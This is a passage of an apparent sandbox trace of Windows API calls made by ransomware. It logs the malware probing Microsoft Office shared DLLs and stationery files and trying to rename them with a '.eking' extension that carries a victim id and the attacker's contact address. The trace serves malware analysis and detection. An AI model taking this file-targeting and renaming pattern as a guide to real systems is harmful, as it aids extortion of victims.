Shared\\OFFICE14\\PJ11OD11.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.414] SetEvent (hEvent=0x174) returned 1 [0171.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.415] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=261008) returned 1 [0171.415] CloseHandle (hObject=0x1e8) returned 1 [0171.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0171.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0171.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.417] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3943312) returned 1 [0171.417] CloseHandle (hObject=0x1e8) returned 1 [0171.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0x20 [0171.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0171.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0 [0171.419] SetEvent (hEvent=0x174) returned 1 [0171.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.447] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1870696) returned 1 [0171.448] CloseHandle (hObject=0x1e8) returned 1 [0171.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0x20 [0171.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0171.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0 [0171.448] SetEvent (hEvent=0x174) returned 1 [0171.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.449] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=591736) returned 1 [0171.449] CloseHandle (hObject=0x1e8) returned 1 [0171.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0171.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0171.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.453] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=813824) returned 1 [0171.453] CloseHandle (hObject=0x1e8) returned 1 [0171.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0171.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0171.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.453] SetEvent (hEvent=0x174) returned 1 [0171.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.454] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=49488) returned 1 [0171.454] CloseHandle (hObject=0x1e8) returned 1 [0171.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0171.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0171.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.742] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=147344) returned 1 [0171.742] CloseHandle (hObject=0x1e8) returned 1 [0171.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0171.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0171.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.743] SetEvent (hEvent=0x174) returned 1 [0171.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.756] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=98176) returned 1 [0171.756] CloseHandle (hObject=0x1e8) returned 1 [0171.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0171.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0171.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.757] SetEvent (hEvent=0x174) returned 1 [0171.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.758] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=217984) returned 1 [0171.758] CloseHandle (hObject=0x1e8) returned 1 [0171.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0171.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0171.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.759] SetEvent (hEvent=0x174) returned 1 [0171.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.760] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=181120) returned 1 [0171.760] CloseHandle (hObject=0x1e8) returned 1 [0171.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0171.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0171.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.761] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=159104) returned 1 [0171.761] CloseHandle (hObject=0x1e8) returned 1 [0171.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0171.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0171.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.765] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=234880) returned 1 [0171.765] CloseHandle (hObject=0x1e8) returned 1 [0171.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0171.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0171.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.766] SetEvent (hEvent=0x174) returned 1 [0171.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0172.516] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=101248) returned 1 [0172.516] CloseHandle (hObject=0x1f0) returned 1 [0172.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0172.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0172.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.517] SetEvent (hEvent=0x174) returned 1 [0172.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0172.978] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6406) returned 1 [0172.979] CloseHandle (hObject=0x1e4) returned 1 [0172.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0172.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0172.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.980] SetEvent (hEvent=0x174) returned 1 [0172.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0172.981] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=81292) returned 1 [0172.982] CloseHandle (hObject=0x1e4) returned 1 [0172.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0172.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf")) returned 0x20 [0172.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0172.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0172.983] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1990) returned 1 [0172.983] CloseHandle (hObject=0x1e4) returned 1 [0172.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0172.983] 